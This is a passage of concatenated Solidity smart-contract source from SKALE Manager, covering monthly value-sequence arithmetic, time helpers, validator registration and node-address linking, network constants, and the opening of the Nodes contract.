sequence.addDiff[month] = sequence.addDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.value[i] != nextValue) { sequence.value[i] = nextValue; } if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value[month]; } function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value[month]; } } function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceSequence( Sequence storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValueInSequence(sequence, month); if (value.approximatelyEqual(0)) { return; } sequence.value[month] = sequence.value[month] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); } } // functions for value function addToValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.addDiff[month] = sequence.addDiff[month].add(diff); } else { sequence.value = sequence.value.add(diff); } } function subtractFromValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); } else { sequence.value = sequence.value.boundedSub(diff); } } function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value != value) { sequence.value = value; } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value; } function getValue(Value storage sequence, uint month) internal view returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value; } } function getValues(Value storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceValue( Value storage sequence, uint amount, uint month) internal returns (FractionUtils.Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (sequence.firstUnprocessedMonth == 0) { return FractionUtils.createFraction(0); } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return FractionUtils.createFraction(0); } uint _amount = amount; if (value < amount) { _amount = value; } FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(value.boundedSub(_amount), value); reduceValueByCoefficient(sequence, reducingCoefficient, month); return reducingCoefficient; } function reduceValueByCoefficient( Value storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sequence, reducingCoefficient, month, false); } function reduceValueByCoefficientAndUpdateSum( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sumSequence, reducingCoefficient, month, true); } function reduceValueByCoefficientAndUpdateSumIfNeeded( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past"); } require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return; } uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month); } sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i] .boundedSub(sequence.subtractDiff[i].boundedSub(newDiff)); } sequence.subtractDiff[i] = newDiff; } } function clear(Value storage sequence) internal { for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) { if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value > 0) { delete sequence.value; } if (sequence.firstUnprocessedMonth > 0) { delete sequence.firstUnprocessedMonth; } if (sequence.lastChangedMonth > 0) { delete sequence.lastChangedMonth; } } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpers.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol"; /** * @title TimeHelpers * @dev The contract performs time operations. * * These functions are used to calculate monthly and Proof of Use epochs. */ contract TimeHelpers { using SafeMath for uint; uint constant private _ZERO_YEAR = 2020; function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) { timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays); } function addDays(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n); } function addMonths(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n); } function addYears(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n); } function getCurrentMonth() external view virtual returns (uint) { return timestampToMonth(now); } function timestampToDay(uint timestamp) external view returns (uint) { uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; require(wholeDays >= zeroDay, "Timestamp is too far in the past"); return wholeDays - zeroDay; } function timestampToYear(uint timestamp) external view virtual returns (uint) { uint year; (year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); return year - _ZERO_YEAR; } function timestampToMonth(uint timestamp) public view virtual returns (uint) { uint year; uint month; (year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12)); require(month > 0, "Timestamp is too far in the past"); return month; } function monthToTimestamp(uint month) public view virtual returns (uint timestamp) { uint year = _ZERO_YEAR; uint _month = month; year = year.add(_month.div(12)); _month = _month.mod(12); _month = _month.add(1); return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ValidatorService.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title ValidatorService * @dev This contract handles all validator operations including registration, * node management, validator-specific delegation parameters, and more. * * TIP: For more information see our main instructions * https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ]. * * Validators register an address, and use this address to accept delegations and * register nodes. */ contract ValidatorService is Permissions { using ECDSA for bytes32; struct Validator { string name; address validatorAddress; address requestedAddress; string description; uint feeRate; uint registrationTime; uint minimumDelegationAmount; bool acceptNewRequests; } /** * @dev Emitted when a validator registers. */ event ValidatorRegistered( uint validatorId ); /** * @dev Emitted when a validator address changes. */ event ValidatorAddressChanged( uint validatorId, address newAddress ); /** * @dev Emitted when a validator is enabled. */ event ValidatorWasEnabled( uint validatorId ); /** * @dev Emitted when a validator is disabled. */ event ValidatorWasDisabled( uint validatorId ); /** * @dev Emitted when a node address is linked to a validator. */ event NodeAddressWasAdded( uint validatorId, address nodeAddress ); /** * @dev Emitted when a node address is unlinked from a validator. */ event NodeAddressWasRemoved( uint validatorId, address nodeAddress ); mapping (uint => Validator) public validators; mapping (uint => bool) private _trustedValidators; uint[] public trustedValidatorsList; // address => validatorId mapping (address => uint) private _validatorAddressToId; // address => validatorId mapping (address => uint) private _nodeAddressToValidatorId; // validatorId => nodeAddress[] mapping (uint => address[]) private _nodeAddresses; uint public numberOfValidators; bool public useWhitelist; modifier checkValidatorExists(uint validatorId) { require(validatorExists(validatorId), "Validator with such ID does not exist"); _; } /** * @dev Creates a new validator ID that includes a validator name, description, * commission or fee rate, and a minimum delegation amount accepted by the validator. * * Emits a {ValidatorRegistered} event. * * Requirements: * * - Sender must not already have registered a validator ID. * - Fee rate must be between 0 - 1000‰. Note: in per mille. */ function registerValidator( string calldata name, string calldata description, uint feeRate, uint minimumDelegationAmount ) external returns (uint validatorId) { require(!validatorAddressExists(msg.sender), "Validator with such address already exists"); require(feeRate <= 1000, "Fee rate of validator should be lower than 100%"); validatorId = ++numberOfValidators; validators[validatorId] = Validator( name, msg.sender, address(0), description, feeRate, now, minimumDelegationAmount, true ); _setValidatorAddress(validatorId, msg.sender); emit ValidatorRegistered(validatorId); } /** * @dev Allows Admin to enable a validator by adding their ID to the * trusted list. * * Emits a {ValidatorWasEnabled} event. * * Requirements: * * - Validator must not already be enabled. */ function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(!_trustedValidators[validatorId], "Validator is already enabled"); _trustedValidators[validatorId] = true; trustedValidatorsList.push(validatorId); emit ValidatorWasEnabled(validatorId); } /** * @dev Allows Admin to disable a validator by removing their ID from * the trusted list. * * Emits a {ValidatorWasDisabled} event. * * Requirements: * * - Validator must not already be disabled. */ function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(_trustedValidators[validatorId], "Validator is already disabled"); _trustedValidators[validatorId] = false; uint position = _find(trustedValidatorsList, validatorId); if (position < trustedValidatorsList.length) { trustedValidatorsList[position] = trustedValidatorsList[trustedValidatorsList.length.sub(1)]; } trustedValidatorsList.pop(); emit ValidatorWasDisabled(validatorId); } /** * @dev Owner can disable the trusted validator list. Once turned off, the * trusted list cannot be re-enabled. */ function disableWhitelist() external onlyOwner { useWhitelist = false; } /** * @dev Allows `msg.sender` to request a new address. * * Requirements: * * - `msg.sender` must already be a validator. * - New address must not be null. * - New address must not be already registered as a validator. */ function requestForNewAddress(address newValidatorAddress) external { require(newValidatorAddress != address(0), "New address cannot be null"); require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered"); // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].requestedAddress = newValidatorAddress; } /** * @dev Allows msg.sender to confirm an address change. * * Emits a {ValidatorAddressChanged} event. * * Requirements: * * - Must be owner of new address. */ function confirmNewAddress(uint validatorId) external checkValidatorExists(validatorId) { require( getValidator(validatorId).requestedAddress == msg.sender, "The validator address cannot be changed because it is not the actual owner" ); delete validators[validatorId].requestedAddress; _setValidatorAddress(validatorId, msg.sender); emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress); } /** * @dev Links a node address to validator ID. Validator must present * the node signature of the validator ID. * * Requirements: * * - Signature must be valid. * - Address must not be assigned to a validator. */ function linkNodeAddress(address nodeAddress, bytes calldata sig) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require( keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress, "Signature is not pass" ); require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator"); _addNodeAddress(validatorId, nodeAddress); emit NodeAddressWasAdded(validatorId, nodeAddress); } /** * @dev Unlinks a node address from a validator. * * Emits a {NodeAddressWasRemoved} event. */ function unlinkNodeAddress(address nodeAddress) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); this.removeNodeAddress(validatorId, nodeAddress); emit NodeAddressWasRemoved(validatorId, nodeAddress); } /** * @dev Allows a validator to set a minimum delegation amount. */ function setValidatorMDA(uint minimumDelegationAmount) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].minimumDelegationAmount = minimumDelegationAmount; } /** * @dev Allows a validator to set a new validator name. */ function setValidatorName(string calldata newName) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].name = newName; } /** * @dev Allows a validator to set a new validator description. */ function setValidatorDescription(string calldata newDescription) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].description = newDescription; } /** * @dev Allows a validator to start accepting new delegation requests. * * Requirements: * * - Must not have already enabled accepting new requests. */ function startAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled"); validators[validatorId].acceptNewRequests = true; } /** * @dev Allows a validator to stop accepting new delegation requests. * * Requirements: * * - Must not have already stopped accepting new requests. */ function stopAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled"); validators[validatorId].acceptNewRequests = false; } function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") { require(_nodeAddressToValidatorId[nodeAddress] == validatorId, "Validator does not have permissions to unlink node"); delete _nodeAddressToValidatorId[nodeAddress]; for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) { if (_nodeAddresses[validatorId][i] == nodeAddress) { if (i + 1 < _nodeAddresses[validatorId].length) { _nodeAddresses[validatorId][i] = _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; } delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; _nodeAddresses[validatorId].pop(); break; } } } /** * @dev Returns the amount of validator bond (self-delegation). */ function getAndUpdateBondAmount(uint validatorId) external returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); return delegationController.getAndUpdateDelegatedByHolderToValidatorNow( getValidator(validatorId).validatorAddress, validatorId ); } /** * @dev Returns node addresses linked to the msg.sender. */ function getMyNodesAddresses() external view returns (address[] memory) { return getNodeAddresses(getValidatorId(msg.sender)); } /** * @dev Returns the list of trusted validators. */ function getTrustedValidators() external view returns (uint[] memory) { return trustedValidatorsList; } /** * @dev Checks whether the validator ID is linked to the validator address. */ function checkValidatorAddressToId(address validatorAddress, uint validatorId) external view returns (bool) { return getValidatorId(validatorAddress) == validatorId ? true : false; } /** * @dev Returns the validator ID linked to a node address. * * Requirements: * * - Node address must be linked to a validator. */ function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) { validatorId = _nodeAddressToValidatorId[nodeAddress]; require(validatorId != 0, "Node address is not assigned to a validator"); } function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view { require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request"); require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests"); require( validators[validatorId].minimumDelegationAmount <= amount, "Amount does not meet the validator's minimum delegation amount" ); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); useWhitelist = true; } /** * @dev Returns a validator's node addresses. */ function getNodeAddresses(uint validatorId) public view returns (address[] memory) { return _nodeAddresses[validatorId]; } /** * @dev Checks whether validator ID exists. */ function validatorExists(uint validatorId) public view returns (bool) { return validatorId <= numberOfValidators && validatorId != 0; } /** * @dev Checks whether validator address exists. */ function validatorAddressExists(address validatorAddress) public view returns (bool) { return _validatorAddressToId[validatorAddress] != 0; } /** * @dev Checks whether validator address exists. */ function checkIfValidatorAddressExists(address validatorAddress) public view { require(validatorAddressExists(validatorAddress), "Validator address does not exist"); } /** * @dev Returns the Validator struct. */ function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) { return validators[validatorId]; } /** * @dev Returns the validator ID for the given validator address. */ function getValidatorId(address validatorAddress) public view returns (uint) { checkIfValidatorAddressExists(validatorAddress); return _validatorAddressToId[validatorAddress]; } /** * @dev Checks whether the validator is currently accepting new delegation requests. */ function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return validators[validatorId].acceptNewRequests; } function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return _trustedValidators[validatorId] || !useWhitelist; } // private /** * @dev Links a validator address to a validator ID. * * Requirements: * * - Address is not already in use by another validator. */ function _setValidatorAddress(uint validatorId, address validatorAddress) private { if (_validatorAddressToId[validatorAddress] == validatorId) { return; } require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator"); address oldAddress = validators[validatorId].validatorAddress; delete _validatorAddressToId[oldAddress]; _nodeAddressToValidatorId[validatorAddress] = validatorId; validators[validatorId].validatorAddress = validatorAddress; _validatorAddressToId[validatorAddress] = validatorId; } /** * @dev Links a node address to a validator ID. * * Requirements: * * - Node address must not be already linked to a validator. */ function _addNodeAddress(uint validatorId, address nodeAddress) private { if (_nodeAddressToValidatorId[nodeAddress] == validatorId) { return; } require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address"); _nodeAddressToValidatorId[nodeAddress] = validatorId; _nodeAddresses[validatorId].push(nodeAddress); } function _find(uint[] memory array, uint index) private pure returns (uint) { uint i; for (i = 0; i < array.length; i++) { if (array[i] == index) { return i; } } return array.length; } } // SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 54640; uint public constant BROADCAST_DELTA = 122660; uint public constant COMPLAINT_BAD_DATA_DELTA = 40720; uint public constant PRE_RESPONSE_DELTA = 67780; uint public constant COMPLAINT_DELTA = 67100; uint public constant RESPONSE_DELTA = 215000; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimelimit; /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ function setCheckTime(uint newCheckTime) external onlyOwner { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external onlyOwner { msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external onlyOwner { require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched"); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external onlyOwner { rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner { require(percentage <= 100, "Percentage value is incorrect"); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner { limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external onlyOwner { schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external onlyOwner { minimalSchainLifetime = lifetime; } function setComplaintTimelimit(uint timelimit) external onlyOwner { complaintTimelimit = timelimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = uint(-1); rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimelimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol"; import "./delegation/DelegationController.sol"; import "./delegation/ValidatorService.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./Permissions.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions { using Random for Random.RandomGenerator; using SafeCast for uint; using SegmentTree for SegmentTree.Tree; // All Nodes states enum NodeStatus {Active, Leaving, Left, In_Maintenance} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes32[2] publicKey; uint startBlock; uint lastRewardDate; uint finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; string domainName; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public 